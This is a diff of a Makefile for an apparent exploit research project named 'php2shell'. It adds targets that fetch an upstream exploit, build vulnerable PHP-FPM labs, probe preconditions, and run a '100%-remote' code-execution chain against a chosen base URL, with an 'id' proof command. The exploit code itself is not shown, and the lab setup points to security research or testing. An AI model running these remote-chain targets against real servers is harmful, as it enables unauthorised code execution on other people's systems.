|
1 | | -.PHONY: bootstrap test labs-up labs-down labs-status labs-test lint clean |
| 1 | +.PHONY: help test lint ruff secrets ci bootstrap inventory validate-profiles validate-fpm \ |
| 2 | + build-nginx build-php build-all profile-draft calibrate-remote remote \ |
| 3 | + probe-remote remote-default matrix \ |
| 4 | + labs-up labs-down labs-status labs-test \ |
| 5 | + labs-fpm-up labs-fpm-up-default labs-fpm-down labs-fpm-status labs-fpm-smoke \ |
| 6 | + labs-fpm-ports labs-fpm-test \ |
| 7 | + clean |
2 | 8 |
|
3 | | -bootstrap: ## Fetch and pin the upstream exploit |
4 | | - python3 tools/bootstrap_upstream.py |
| 9 | +help: ## Show this help |
| 10 | + @grep -E '^[a-zA-Z0-9_.-]+:.*##' $(MAKEFILE_LIST) | \ |
| 11 | + awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' |
5 | 12 |
|
6 | 13 | test: ## Run the unit test suite |
7 | | - python3 -m unittest discover -s tests -v |
| 14 | + PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v |
8 | 15 |
|
9 | 16 | lint: ## Run gitleaks to detect leaked secrets |
10 | 17 | gitleaks detect --source . --no-git --redact -v |
11 | 18 |
|
12 | | -labs-up: ## Start all local laboratories (ports 8100-8106) |
13 | | - python3 tools/php2shell_labs.py up |
| 19 | +ruff: ## Run ruff on the Python tools and tests |
| 20 | + ruff check tools tests |
14 | 21 |
|
15 | | -labs-down: ## Stop all local laboratories |
16 | | - python3 tools/php2shell_labs.py down |
| 22 | +secrets: lint ## Backwards-compatible alias for lint |
17 | 23 |
|
18 | | -labs-status: ## Show laboratory container status |
19 | | - python3 tools/php2shell_labs.py status |
| 24 | +ci: ruff test validate-profiles validate-fpm ## Run the fast CI checks locally |
20 | 25 |
|
21 | | -labs-test: ## Run the dispatcher against each lab |
22 | | - python3 tools/php2shell_labs.py test |
| 26 | +bootstrap: ## Fetch and pin the upstream exploit |
| 27 | + python3 tools/bootstrap_upstream.py |
23 | 28 |
|
24 | 29 | inventory: ## Print the profile and offset inventory |
25 | 30 | python3 tools/php2shell_inventory.py |
26 | 31 |
|
27 | | -validate-profiles: ## Validate profiles (requires jsonschema) |
| 32 | +validate-profiles: ## Validate every build profile against the generic schema |
28 | 33 | python3 -c "import json, jsonschema; \ |
29 | 34 | schema = json.load(open('profiles/schema.json')); \ |
30 | 35 | from pathlib import Path; \ |
31 | 36 | [jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \ |
32 | | - for p in sorted(Path('profiles').glob('*.json')) if p.name != 'schema.json']" |
| 37 | + for p in sorted(Path('profiles').glob('*.json')) \ |
| 38 | + if p.name not in ('schema.json', 'fpm-schema.json')]" |
| 39 | + |
| 40 | +validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema |
| 41 | + python3 -c "import glob, json, jsonschema; \ |
| 42 | + s = json.load(open('profiles/fpm-schema.json')); \ |
| 43 | + [jsonschema.validate(json.load(open(p)), s) or print(f' ok {p}') \ |
| 44 | + for p in sorted(glob.glob('profiles/*-fpm.json'))]" |
| 45 | + |
| 46 | +# --------------------------------------------------------------------------- # |
| 47 | +# PHP-FPM laboratory (nginx + PHP-FPM, user prefix, no Docker) |
| 48 | +# --------------------------------------------------------------------------- # |
| 49 | + |
| 50 | +build-nginx: ## Build nginx into lab/fpm/runtime |
| 51 | + lab/fpm/build_nginx.sh |
| 52 | + |
| 53 | +build-php: ## Build a PHP version into lab/fpm/runtime (VERSION=8.4.26) |
| 54 | + @test -n "$(VERSION)" || \ |
| 55 | + (echo "usage: make build-php VERSION=8.4.26"; exit 2) |
| 56 | + lab/fpm/build_php.sh "$(VERSION)" |
| 57 | + |
| 58 | +build-all: ## Build several PHP versions (VERSIONS="8.4.25 8.4.26") |
| 59 | + @test -n "$(VERSIONS)" || \ |
| 60 | + (echo "usage: make build-all VERSIONS=\"8.4.25 8.4.26\""; exit 2) |
| 61 | + lab/fpm/build_all.sh $(VERSIONS) |
| 62 | + |
| 63 | +profile-draft: ## Generate a draft FPM profile (PHP_FPM=... VERSION=...) |
| 64 | + @test -n "$(PHP_FPM)" -a -n "$(VERSION)" || \ |
| 65 | + (echo "usage: make profile-draft PHP_FPM=/path/to/php-fpm VERSION=8.4.25"; exit 2) |
| 66 | + python3 tools/php2shell_fpm_profile.py --php-fpm "$(PHP_FPM)" --version "$(VERSION)" |
| 67 | + |
| 68 | +calibrate-remote: ## Discover a profile over HTTP only (VERSION=... BASE=... BUILDER=...) |
| 69 | + @test -n "$(VERSION)" || \ |
| 70 | + (echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) |
| 71 | + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ |
| 72 | + --base "$(BASE)" --builder "$(BUILDER)" --allow-remote calibrate |
| 73 | + |
| 74 | +remote: ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...) |
| 75 | + @test -n "$(VERSION)" || \ |
| 76 | + (echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) |
| 77 | + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ |
| 78 | + --base "$(BASE)" --builder "$(BUILDER)" --allow-remote \ |
| 79 | + --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \ |
| 80 | + no-oracle |
| 81 | + |
| 82 | +probe-remote: ## Checklist of every chain precondition (VERSION=... BASE=...) |
| 83 | + @test -n "$(VERSION)" -a -n "$(BASE)" || \ |
| 84 | + (echo "usage: make probe-remote VERSION=8.4.26 BASE=http://target"; exit 2) |
| 85 | + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ |
| 86 | + --base "$(BASE)" --allow-remote probe |
| 87 | + |
| 88 | +remote-default: ## 100%-remote chain against a stock install (VERSION=... BASE=...) |
| 89 | + @test -n "$(VERSION)" -a -n "$(BASE)" || \ |
| 90 | + (echo "usage: make remote-default VERSION=8.4.26 BASE=http://target"; exit 2) |
| 91 | + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ |
| 92 | + --base "$(BASE)" --allow-remote \ |
| 93 | + --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \ |
| 94 | + no-oracle |
| 95 | + |
| 96 | +matrix: ## Verify the remote chain on every unpatched build |
| 97 | + python3 tools/php2shell_fpm_matrix.py |
| 98 | + |
| 99 | +# --------------------------------------------------------------------------- # |
| 100 | +# Laboratories |
| 101 | +# --------------------------------------------------------------------------- # |
| 102 | + |
| 103 | +labs-up: ## Start all local Docker laboratories (ports 8100-8106) |
| 104 | + python3 tools/php2shell_labs.py up |
| 105 | + |
| 106 | +labs-down: ## Stop all local Docker laboratories |
| 107 | + python3 tools/php2shell_labs.py down |
| 108 | + |
| 109 | +labs-status: ## Show Docker laboratory container status |
| 110 | + python3 tools/php2shell_labs.py status |
| 111 | + |
| 112 | +labs-test: ## Run the dispatcher against each Docker lab |
| 113 | + python3 tools/php2shell_labs.py test |
| 114 | + |
| 115 | +labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker) |
| 116 | + python3 tools/php2shell_fpm_labs.py up |
| 117 | + |
| 118 | +labs-fpm-up-default: ## Start the FPM lab in the stock-installation shape |
| 119 | + python3 tools/php2shell_fpm_labs.py up --mode default |
| 120 | + |
| 121 | +labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories |
| 122 | + python3 tools/php2shell_fpm_labs.py down |
| 123 | + |
| 124 | +labs-fpm-status: ## Show FPM laboratory status |
| 125 | + python3 tools/php2shell_fpm_labs.py status |
| 126 | + |
| 127 | +labs-fpm-smoke: ## Check the FPM lab endpoints |
| 128 | + python3 tools/php2shell_fpm_labs.py smoke |
| 129 | + |
| 130 | +labs-fpm-ports: ## Print the FPM lab port map |
| 131 | + python3 tools/php2shell_fpm_labs.py ports |
| 132 | + |
| 133 | +labs-fpm-test: ## Run primitive + endgame against the FPM lab |
| 134 | + python3 tools/php2shell_fpm_labs.py test |
33 | 135 |
|
34 | 136 | clean: ## Remove generated files and vendor checkout |
35 | 137 | rm -rf vendor/php2shell-upstream |
36 | 138 | rm -rf lab/rce/out/ |
37 | | - |
38 | | -help: ## Show this help |
39 | | - @grep -E '^[a-zA-Z_-]+:.*##' $(MAKEFILE_LIST) | \ |
40 | | - awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' |
| 139 | + rm -rf lab/fpm/webroot/out/ |
0 commit comments